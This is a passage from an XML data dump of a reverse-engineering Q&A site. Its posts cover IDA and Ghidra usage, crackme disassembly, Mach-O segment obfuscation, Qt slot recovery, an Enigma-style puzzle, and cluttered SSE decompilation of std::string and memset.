needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I've included a check to make sure the code ignores library and thunk functions as you're probably not interested on them. Feel free to remove the check if you want. ;-)&lt;/p&gt;&#xA;" OwnerUserId="26650" LastActivityDate="2020-05-10T00:48:01.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24963" PostTypeId="2" ParentId="22940" CreationDate="2020-05-10T03:01:18.200" Score="1" Body="&lt;p&gt;I'm not 100% sure but I believe IDA-View did &lt;strong&gt;not&lt;/strong&gt; recognize the operand as an offset in your case. Otherwise it'd have disassembled it as &lt;code&gt;addi r4, r9, offset aTelnet ; &quot;TELNET&quot;&lt;/code&gt; or something similar. To convert an operand to an offset, you can try the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html#op_plain_offset&quot; rel=&quot;nofollow noreferrer&quot;&gt;idc.op_plain_offset()&lt;/a&gt; function. I can't tell the exact syntax for your case as I don't have the addresses but it'll likely be something like &lt;code&gt;idc.op_plain_offset(ea, 2, idc.get_segm_start(ea))&lt;/code&gt; assuming &lt;code&gt;ea&lt;/code&gt; is the instruction address, 2 is the operand index (3rd operand) which is the offset and the base address is the beginning of the segment this instruction belongs to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="26650" LastActivityDate="2020-05-10T03:01:18.200" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24964" PostTypeId="1" CreationDate="2020-05-10T06:11:50.807" Score="2" ViewCount="502" Body="&lt;p&gt;I came across the Flyte STORY clock recently (&lt;a href=&quot;https://flytestore.com/pages/story-levitating-timepiece&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;) and I’m stumped as to how it works.&#xA;Does anyone know how it holds the ball against gravity when it’s vertically upright?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/05jrP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/05jrP.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I asked Physics but they closed the question immediately. Hopefully this is the right place to ask!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://hackaday.com/2017/02/26/howd-they-do-it-levitating-orb-clock/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This article&lt;/a&gt; touches on the subject, but provided only speculation and no detail.&lt;/p&gt;&#xA;" OwnerUserId="33169" LastEditorUserId="245" LastEditDate="2023-02-07T09:28:20.783" LastActivityDate="2023-02-07T09:28:20.783" Title="How does this levitating clock work?" Tags="|hardware|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="24965" PostTypeId="2" ParentId="24961" CreationDate="2020-05-10T07:05:44.023" Score="1" Body="&lt;p&gt;I don't think it is related to BIND_GET_INSTALL_REFERRER_SERVICE. That is related to &lt;a href=&quot;https://issuetracker.google.com/issues/78380811#comment22&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firebase Analytics&lt;/a&gt;, i.e., referrer for analytics purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it may be related to Google Play app licensing? See &lt;a href=&quot;https://developer.android.com/google/play/licensing/overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.android.com/google/play/licensing/overview&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="30460" LastActivityDate="2020-05-10T07:05:44.023" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24967" PostTypeId="1" AcceptedAnswerId="24968" CreationDate="2020-05-10T09:41:40.143" Score="0" ViewCount="84" Body="&lt;p&gt;first of all I'm new to reverse engineering so here's a noob question hahaha, I'm trying to solve a crackme and I found this set of instructions:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ENhwN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ENhwN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would it move the content of eax into cd:strLength and then do in the inverse way? It doesn't make much sense to me... I would appreciate any help. Thank you all for you time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I can't find the value of offset _Z3strB5cxx11, is it because it's a relocation and its value won't be resolved until the dynamic linker resolves it during runtime or am I going crazy? Thanks for your time. &lt;/p&gt;&#xA;" OwnerUserId="33134" LastEditorUserId="33134" LastEditDate="2020-05-10T09:48:56.530" LastActivityDate="2020-05-10T11:23:55.550" Title="Problem with set of instructions in dissasembly" Tags="|ida|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24968" PostTypeId="2" ParentId="24967" CreationDate="2020-05-10T11:05:06.373" Score="2" Body="&lt;p&gt;The compiler creates the code block by block, each line of the source code can correspond to one or several blocks. In the case of optimized code, sometimes several blocks of source code can turn into one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This basic block of code can be divided into the following logical blocks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; block #1&#xA;mov edi, offset _Z3strB5cxx11&#xA;call basic_string::length() ; // sorry I'm too lazzy to type the correct function name&#xA;mov cs:strLength, eax&#xA;; block #2&#xA;mov eax, cs:strLength&#xA;cmp eax, 3&#xA;jbe loc_4011C6 ; // below-or-equal, unsigned operation, so cs:strLength is of type size_t&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First block stores result of basic_string::length() in the global variable. The second block is produced from &quot;if&quot; statement. So the source code looks like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;size_t strLength; // global variable&#xA;...&#xA;void someFunc() {&#xA;  ...&#xA;  strLength = str.length(); // block #1&#xA;  if (strlength &amp;lt;= 3) { // block #2&#xA;    // statements at the address 0x4011C6&#xA;  }&#xA;  // statements after jbe&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Optimization flags -O1, -O2, -O3 will remove the extra move operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About your second question. First of all let's check the demangled name (I used &lt;a href=&quot;https://demangler.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://demangler.com/&lt;/a&gt;). It's equal to the 'str[abi:cxx11]'. The ABI is stands for the application binary interface. It is necessary to link 2 or more binary modules. I don’t see the whole code, but by string object name I can guess you can't see it's value, cause it's external std::string. It's value should be analyzed in other module (other DLL or EXE file). So, it's not global variable only, but exported or imported value (in C++ with 'extern' keyword).&lt;/p&gt;&#xA;" OwnerUserId="18110" LastEditorUserId="18110" LastEditDate="2020-05-10T11:23:55.550" LastActivityDate="2020-05-10T11:23:55.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24969" PostTypeId="2" ParentId="24959" CreationDate="2020-05-10T12:07:25.857" Score="4" Body="&lt;p&gt;I recommend to use IDA for this task but you can try something other. There are dozens of disassemblers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open your app in the disassebmler, locate something like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H6hpL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H6hpL.png&quot; alt=&quot;Method names of the MainWindow&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scroll up and find XRef with 'qt_metacast(char const*)' (in case the binary is not stripped):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rodata:00069B90 aMainwindow_0   db 'MainWindow',0       ; DATA XREF: MainWindow::qt_metacast(char const*)+18↑o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Open the class method by click to this XREF or with Ctrl+X hotkey. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see 'MainWindow::qt_metacast' method but you need 'MainWindow::qt_metacall' now. Inside of the 'MainWindow::qt_metacall' you will see 'MainWindow::qt_static_metacall' call. Inside it will be a big switch with real slots called when buttons are clicked (more generally: not only buttons and not only clicks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JSMxi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JSMxi.png&quot; alt=&quot;Inside of the MainWindow::qt_static_metacall&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it's easy to notice, the necessary names already have the correct names, but in the more complicated case, when the binary is stripped, it will be necessary to restore the names from the table of method names. The number in the switch corresponds to the row index with the method name in the method table with some exceptions (refer to the Qt5 sources please)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of some additional strings located in the same table of methods that are not slots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jNICk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jNICk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18110" LastActivityDate="2020-05-10T12:07:25.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24970" PostTypeId="1" CreationDate="2020-05-10T17:24:52.983" Score="-2" ViewCount="834" Body="&lt;p&gt;When reversing a Mach-O &lt;code&gt;crackme&lt;/code&gt; file under IDA Free and MacOS, the analysis output a log in the console window that yields warning about Mach-O segments.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Loading file 'target' into database...&#xA;Detected file format: Mach-O file (EXECUTE). X86_64&#xA;...&#xA;Autoanalysis subsystem has been initialized.&#xA;Type library 'macosx64' loaded. Applying types...&#xA;Types applied to 0 names.&#xA;0x10000A6F0: section file offset invalid: (5242; expected A6F0); possibly the file was modified to hinder analysis!&#xA;  0. Creating a new segment  (000000010000A6F0-000000010044A776) ... ... OK&#xA;0x10044A776: section file offset invalid: (4460BF; expected 44A776); possibly the file was modified to hinder analysis!&#xA;  1. Creating a new segment  (000000010044A776-000000010044B5CE) ... ... OK&#xA;0x10044B5D0: section file offset invalid: (44ADC0; expected 44B5D0); possibly the file was modified to hinder analysis!&#xA;  2. Creating a new segment  (000000010044B5D0-000000010044CDB4) ... ... OK&#xA;0x10044CDB4: section file offset invalid: (44C84B; expected 44CDB4); possibly the file was modified to hinder analysis!&#xA;&#xA;... etc [repeating]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After analysis, the MachO is properly disassembled and I can continue reversing process. The issue arise when I try to decompile the same binary under Ghidra. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, Ghidra, nor any other disassemble/decompiler software, does not demangle and decompile the binary properly. It shows a lot of idbs and undefined ASM calls. Upon researching further, I found out this technique is shown in &lt;a href=&quot;https://iokit.racing/machotricks.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;MachO Tricks&lt;/a&gt; by qw as Mach-O obfuscation tricks. A issue is raised in &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/1823&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra repository&lt;/a&gt; too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to fix those segments via Ghidra, or any other tool for that matter so that the disassemble code will be readable and reversible? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The binary is &lt;a href=&quot;https://www.hopperapp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hopper Disassembler&lt;/a&gt; which is ALLOWED to be reverse engineered. As per ToS presented.&lt;/p&gt;&#xA;" OwnerUserId="33175" LastEditorUserId="245" LastEditDate="2020-05-28T12:43:34.733" LastActivityDate="2020-05-28T12:43:34.733" Title="How to fix Mach-O segment section to deobfuscate the binary" Tags="|ida|ghidra|mach-o|macos|section|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24972" PostTypeId="2" ParentId="24970" CreationDate="2020-05-10T19:38:42.240" Score="1" Body="&lt;p&gt;Executable Mach-O files use &lt;em&gt;segment&lt;/em&gt; load commands to represent loadable/mappable memory areas. They can be further split into &lt;em&gt;sections&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA’s Mach-O loader does not use the file offset field in the section headers. The data from file is loaded into database only using segment headers and then split into sections based on the address fields of the section headers. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-10T19:38:42.240" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24973" PostTypeId="1" CreationDate="2020-05-10T20:09:34.300" Score="0" ViewCount="43" Body="&lt;p&gt;I am a beginner in reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a challenge I need to reverse a code in python this code use enigma algorithm :&#xA;To found the good configuration to decode the enigma code received. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is to found the good configuration the bellow : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def create_configuration():&#xA;number_of_rotors = random.randrange(3, 6)&#xA;rotates_amounts = [3, 5, 7, 11, 17, 19, 23]&#xA;&#xA;result = []&#xA;for _ in range(number_of_rotors):&#xA;    rotor = &quot;&quot;.join(random.sample(string.ascii_uppercase, 26))&#xA;    rotates_amount = random.choice(rotates_amounts)&#xA;    result.append([rotor, rotates_amount])&#xA;return result&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;After analyse I decided to make a bruteforce because I can see a random.choice and it's &quot;impossible&quot; to found exacly the sames configuration as the server who encoded the message. For That I modify this code : &lt;/li&gt;&#xA;&lt;li&gt;number_of_rotors is a number between 3 and 6 logically it's will be a loop [3, 4, 5, 6]&lt;/li&gt;&#xA;&lt;li&gt;rotates_amounts is all the possibilities numbers for the originally list ([3, 5, 7, 11, 17, 19, 23])&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;code : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def create_configuration(number_of_rotors, rotates_amounts):&#xA;result = []&#xA;    for i in range(number_of_rotors):&#xA;    rotor = &quot;&quot;.join(random.sample(string.ascii_uppercase, 26))&#xA;    rotates_amount = rotates_amounts[i]&#xA;    result.append([rotor, rotates_amount])&#xA;return result&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added The generator function to generate all the possibilities as (i am using itertools): &#xA;  [3,3,3,3,3,3,3],[3,3,3,3,3,5],...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def generators():&#xA;values = []&#xA;val = [3, 5, 7, 11, 17, 19, 23]&#xA;for _set in product(val, repeat=7):&#xA;    values.append(_set)&#xA;return values&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This part of code also generate randomly ascii list : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rotor = &quot;&quot;.join(random.sample(string.ascii_uppercase, 26))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my questions is : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I don't know if it's the good approach for this problem ? If people have ideas.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="33177" LastActivityDate="2020-05-10T20:09:34.300" Title="help about methodology" Tags="|encryption|python|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24974" PostTypeId="1" CreationDate="2020-05-11T00:05:33.090" Score="5" ViewCount="2376" Body="&lt;p&gt;In practicing Ghidra on a few standard library functions in some executable, I have generally had trouble getting good decompilation output where SSE registers are used as an optimization. I've tried searching for a variety of keyword combinations both here and on the rest of the internet but could not find anything relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The below examples are from x64 code without debug symbols, so function/struct/variable names are my doing. The type choices did not change/improve the demonstrated issues - but maybe I'm just doing it wrong. I also tried to keep enough context for readability, but I couldn't locate any guidelines this site has in that regard.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When a 32 byte &lt;code&gt;std::string&lt;/code&gt; is copied (as part of what looks like move construction) using two 128 bit SSE moves, the entire thing is decomposed into 4 byte chunks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;std::string&lt;/code&gt; data type definition for completeness (exported):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct std_string {&#xA;  char * data;&#xA;  char * field_1;&#xA;  ulonglong size;&#xA;  ulonglong capacity;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                         **************************************************************&#xA;                         *                          FUNCTION                          *&#xA;                         **************************************************************&#xA;                         std_string * __fastcall std_string_operator+(std_string &#xA;         std_string *      RAX:8          &amp;lt;RETURN&amp;gt;&#xA;         std_string *      RCX:8          thisOut&#xA;         undefined8        RDX:8          thisIn&#xA;         char *            R8:8           stringIn                                XREF[1]:     140106dcc(W)  &#xA;         longlong          R8:8           size                                    XREF[1]:     140106dcc(W)  &#xA;         undefined8        RAX:8          thisIn_                                 XREF[1]:     140106de6(W)  &#xA;                         std_string_operator+&#xA;   140106dc0 40 53           PUSH       RBX&#xA;   140106dc2 48 83 ec 20     SUB        RSP,0x20&#xA;   140106dc6 49 8b c0        MOV        RAX,stringIn&#xA;   140106dc9 4c 8b ca        MOV        R9,thisIn&#xA;   140106dcc 49 c7 c0        MOV        size,-0x1&#xA;             ff ff ff ff&#xA;   140106dd3 48 8b d9        MOV        RBX,thisOut&#xA;                         LAB_140106dd6                                   XREF[1]:     140106dde(j)  &#xA;   140106dd6 49 ff c0        INC        size&#xA;   140106dd9 42 80 3c        CMP        byte ptr [RAX + size*0x1],0x0&#xA;             00 00&#xA;   140106dde 75 f6           JNZ        LAB_140106dd6&#xA;   140106de0 48 8b d0        MOV        thisIn,RAX&#xA;   140106de3 49 8b c9        MOV        thisOut,R9&#xA;   140106de6 e8 75 fe        CALL       std_string_append                                std_string * std_string_append(s&#xA;             ff ff&#xA;   140106deb 33 c9           XOR        thisOut,thisOut&#xA;   140106ded 48 89 4b 10     MOV        qword ptr [RBX + 0x10],thisOut&#xA;   140106df1 48 89 4b 18     MOV        qword ptr [RBX + 0x18],thisOut&#xA;   140106df5 0f 10 00        MOVUPS     XMM0,xmmword ptr [thisIn_]&#xA;   140106df8 0f 11 03        MOVUPS     xmmword ptr [RBX],XMM0&#xA;   140106dfb 0f 10 48 10     MOVUPS     XMM1,xmmword ptr [thisIn_ + 0x10]&#xA;   140106dff 0f 11 4b 10     MOVUPS     xmmword ptr [RBX + 0x10],XMM1&#xA;   140106e03 48 89 48 10     MOV        qword ptr [thisIn_ + 0x10],thisOut&#xA;   140106e07 48 c7 40        MOV        qword ptr [thisIn_ + 0x18],0xf&#xA;             18 0f 00 &#xA;             00 00&#xA;   140106e0f 88 08           MOV        byte ptr [thisIn_],thisOut&#xA;   140106e11 48 8b c3        MOV        thisIn_,RBX&#xA;   140106e14 48 83 c4 20     ADD        RSP,0x20&#xA;   140106e18 5b              POP        RBX&#xA;   140106e19 c3              RET&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Decompilation:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;std_string * std_string_operator+(std_string *thisOut,std_string *thisIn,char *stringIn)&#xA;{&#xA;  undefined4 uVar1;&#xA;  undefined4 uVar2;&#xA;  undefined4 uVar3;&#xA;  std_string *thisIn_;&#xA;  longlong size;&#xA;&#xA;  size = -1;&#xA;  do {&#xA;    size = size + 1;&#xA;  } while (stringIn[size] != '\0');&#xA;  thisIn_ = std_string_append(thisIn,stringIn,size);&#xA;  thisOut-&amp;gt;size = 0;&#xA;  thisOut-&amp;gt;capacity = 0;&#xA;  uVar1 = *(undefined4 *)((longlong)&amp;amp;thisIn_-&amp;gt;data + 4);&#xA;  uVar2 = *(undefined4 *)&amp;amp;thisIn_-&amp;gt;field_1;&#xA;  uVar3 = *(undefined4 *)((longlong)&amp;amp;thisIn_-&amp;gt;field_1 + 4);&#xA;  *(undefined4 *)&amp;amp;thisOut-&amp;gt;data = *(undefined4 *)&amp;amp;thisIn_-&amp;gt;data;&#xA;  *(undefined4 *)((longlong)&amp;amp;thisOut-&amp;gt;data + 4) = uVar1;&#xA;  *(undefined4 *)&amp;amp;thisOut-&amp;gt;field_1 = uVar2;&#xA;  *(undefined4 *)((longlong)&amp;amp;thisOut-&amp;gt;field_1 + 4) = uVar3;&#xA;  uVar1 = *(undefined4 *)((longlong)&amp;amp;thisIn_-&amp;gt;size + 4);&#xA;  uVar2 = *(undefined4 *)&amp;amp;thisIn_-&amp;gt;capacity;&#xA;  uVar3 = *(undefined4 *)((longlong)&amp;amp;thisIn_-&amp;gt;capacity + 4);&#xA;  *(undefined4 *)&amp;amp;thisOut-&amp;gt;size = *(undefined4 *)&amp;amp;thisIn_-&amp;gt;size;&#xA;  *(undefined4 *)((longlong)&amp;amp;thisOut-&amp;gt;size + 4) = uVar1;&#xA;  *(undefined4 *)&amp;amp;thisOut-&amp;gt;capacity = uVar2;&#xA;  *(undefined4 *)((longlong)&amp;amp;thisOut-&amp;gt;capacity + 4) = uVar3;&#xA;  thisIn_-&amp;gt;size = 0;&#xA;  thisIn_-&amp;gt;capacity = 0xf;&#xA;  *(undefined *)&amp;amp;thisIn_-&amp;gt;data = 0;&#xA;  return thisOut;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would understand copying the four fields of eight bytes, or (in some form or another) expressing two 128 or one 256 bit copy. I assume the above four byte chunks is how MOVUPS is encoded in Ghidra, but it doesn't seem very helpful to me at all. This kind of copy (via SSE) happens relatively often everywhere, so having 16 lines of noise every time is annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also, don't ask me about the funky function signature, I have no idea what the compiler was on about.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;A &lt;code&gt;PUNPCKLBW&lt;/code&gt; used in memset (which here just fills &lt;code&gt;XMM0&lt;/code&gt; by repeating each of the lower 8 bytes, effectively broadcasting the single byte to set to all 16 bytes of &lt;code&gt;XMM0&lt;/code&gt;) blows up into dozens of lines of gibberish (which faithfully emulates the effect, I'm sure, but it's not helpful):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                     **************************************************************&#xA;                     *                          FUNCTION                          *&#xA;                     **************************************************************&#xA;                     longlong * __fastcall memset(void * location, byte byteT&#xA;     longlong *        RAX:8          &amp;lt;RETURN&amp;gt;&#xA;     void *            RCX:8          location&#xA;     byte              DL:1           byteToSet                               XREF[1]:     1411960a8(W)  &#xA;     ulonglong         R8:8           count&#xA;     undefined8        R9:8           inputByteRepeated8                      XREF[1]:     1411960a0(W)  &#xA;     undefined2        DX:2           inputByteRepeated2                      XREF[1]:     1411960a8(W)  &#xA;                     memset                                          XREF[518]:  [...]&#xA; 141196090 4c 8b d9        MOV        R11,location&#xA; 141196093 0f b6 d2        MOVZX      EDX,DL&#xA; 141196096 49 b9 01        MOV        R9,0x101010101010101&#xA;           01 01 01 &#xA;           01 01 01 01&#xA; 1411960a0 4c 0f af ca     IMUL       R9,RDX&#xA; 1411960a4 49 83 f8 10     CMP        R8,0x10&#xA; 1411960a8 0f 86 f2        JBE        LAB_1411961a0&#xA;           00 00 00&#xA; 1411960ae 66 49 0f        MOVQ       XMM0,R9&#xA;           6e c1&#xA; 1411960b3 66 0f 60 c0     PUNPCKLBW  XMM0,XMM0&#xA;                      [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Decompilation:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;longlong * memset(void *location,byte byteToSet,ulonglong count)&#xA;{&#xA;  // [...]&#xA;  ushort inputByteRepeated2;&#xA;  ulonglong inputByteRepeated8;&#xA;  undefined4 uVar5;&#xA;  undefined4 uVar7;&#xA;  undefined4 uVar8;&#xA;  undefined auVar6 [13];&#xA;&#xA;  inputByteRepeated8 = (ulonglong)byteToSet * 0x101010101010101;&#xA;  inputByteRepeated2 = (ushort)inputByteRepeated8;&#xA;  _inputByteRepeated2 = (uint)inputByteRepeated8;&#xA;  if (count &amp;lt; 0x11) {&#xA;    // [...]&#xA;  }&#xA;  auVar6[6] = SUB141(ZEXT814(inputByteRepeated8) &amp;gt;&amp;gt; 0x30,0);&#xA;  auVar6 = ZEXT813(inputByteRepeated8);&#xA;  register0x0000120c =&#xA;       SUB164(CONCAT313(SUB163(CONCAT214(SUB162(CONCAT115(SUB161(ZEXT816(inputByteRepeated8) &amp;gt;&amp;gt; 0x38&#xA;                                                                 ,0),&#xA;                                                          CONCAT114(SUB151(ZEXT815(&#xA;                                                  inputByteRepeated8) &amp;gt;&amp;gt; 0x38,0),&#xA;                                                  ZEXT814(inputByteRepeated8))) &amp;gt;&amp;gt; 0x70,0),&#xA;                                         CONCAT113(auVar6[6],auVar6)) &amp;gt;&amp;gt; 0x68,0),&#xA;                        CONCAT112(auVar6[6],ZEXT812(inputByteRepeated8))) &amp;gt;&amp;gt; 0x60,0);&#xA;  _auVar6 = CONCAT79(SUB167(CONCAT610(SUB166(CONCAT511(SUB165(CONCAT412(register0x0000120c,&#xA;                                                                        CONCAT111(SUB131(auVar6 &amp;gt;&amp;gt; &#xA;                                                  0x28,0),ZEXT811(inputByteRepeated8))) &amp;gt;&amp;gt; 0x58,0),&#xA;                                                  CONCAT110(SUB121(ZEXT812(inputByteRepeated8) &amp;gt;&amp;gt;&#xA;                                                                   0x28,0),&#xA;                                                            (unkuint10)inputByteRepeated8)) &amp;gt;&amp;gt; 0x50,&#xA;                                             0),&#xA;                                      CONCAT19(SUB131(auVar6 &amp;gt;&amp;gt; 0x20,0),(unkuint9)inputByteRepeated8&#xA;                                              )) &amp;gt;&amp;gt; 0x48,0),&#xA;                     (unkuint9)inputByteRepeated8 &amp;amp; 0xffffffffffffffff | 0 &amp;lt;&amp;lt; 0x40);&#xA;  register0x00001208 = SUB168(_auVar6 &amp;gt;&amp;gt; 0x40,0);&#xA;  _auVar6 = CONCAT115(SUB1611(CONCAT106(SUB1610(CONCAT97(SUB169(CONCAT88(register0x00001208,&#xA;                                                                         (inputByteRepeated8 &amp;gt;&amp;gt; 0x18&#xA;                                                                         ) &amp;lt;&amp;lt; 0x38) &amp;gt;&amp;gt; 0x38,0),&#xA;                                                         ((uint7)inputByteRepeated8 &amp;gt;&amp;gt; 0x18) &amp;lt;&amp;lt; 0x30&#xA;                                                        ) &amp;gt;&amp;gt; 0x30,0),&#xA;                                        ((uint6)inputByteRepeated8 &amp;gt;&amp;gt; 0x10) &amp;lt;&amp;lt; 0x28) &amp;gt;&amp;gt; 0x28,0),&#xA;                      ((uint5)inputByteRepeated8 &amp;gt;&amp;gt; 0x10) &amp;lt;&amp;lt; 0x20);&#xA;  _auVar6 = CONCAT142(SUB1614(CONCAT133(SUB1613(CONCAT124(SUB1612(_auVar6 &amp;gt;&amp;gt; 0x20,0),&#xA;                                                          (_inputByteRepeated2 &amp;gt;&amp;gt; 8) &amp;lt;&amp;lt; 0x18) &amp;gt;&amp;gt;&#xA;                                                0x18,0),((uint3)inputByteRepeated8 &amp;gt;&amp;gt; 8) &amp;lt;&amp;lt; 0x10) &amp;gt;&amp;gt;&#xA;                              0x10,0),inputByteRepeated2 &amp;amp; 0xff | inputByteRepeated2 &amp;lt;&amp;lt; 8);&#xA;  uVar7 = SUB164(_auVar6 &amp;gt;&amp;gt; 0x20,0);&#xA;  uVar5 = SUB164(_auVar6,0);&#xA;  uVar8 = SUB164(_auVar6 &amp;gt;&amp;gt; 0x40,0);&#xA;&#xA;  // [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The remaining decompilation then also uses these awkward separate 4-byte chunks whenever the code just does a &lt;code&gt;MOVAPS     xmmword ptr [location],XMM0&lt;/code&gt; or similar. Took me a while to even recognize this entire function as &lt;code&gt;memcpy&lt;/code&gt; as a result!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I make the decompiled code more readable in these cases (or avoid the clutter in the first place)?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;I'd tag this question with &lt;code&gt;SSE&lt;/code&gt; if it already existed as a tag, but I'm reluctant to create it since I don't know this community well enough yet. And of course: Improvement suggestions welcome!&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="33178" LastEditorUserId="33178" LastEditDate="2020-05-11T00:10:57.337" LastActivityDate="2020-05-11T14:53:05.727" Title="How to improve 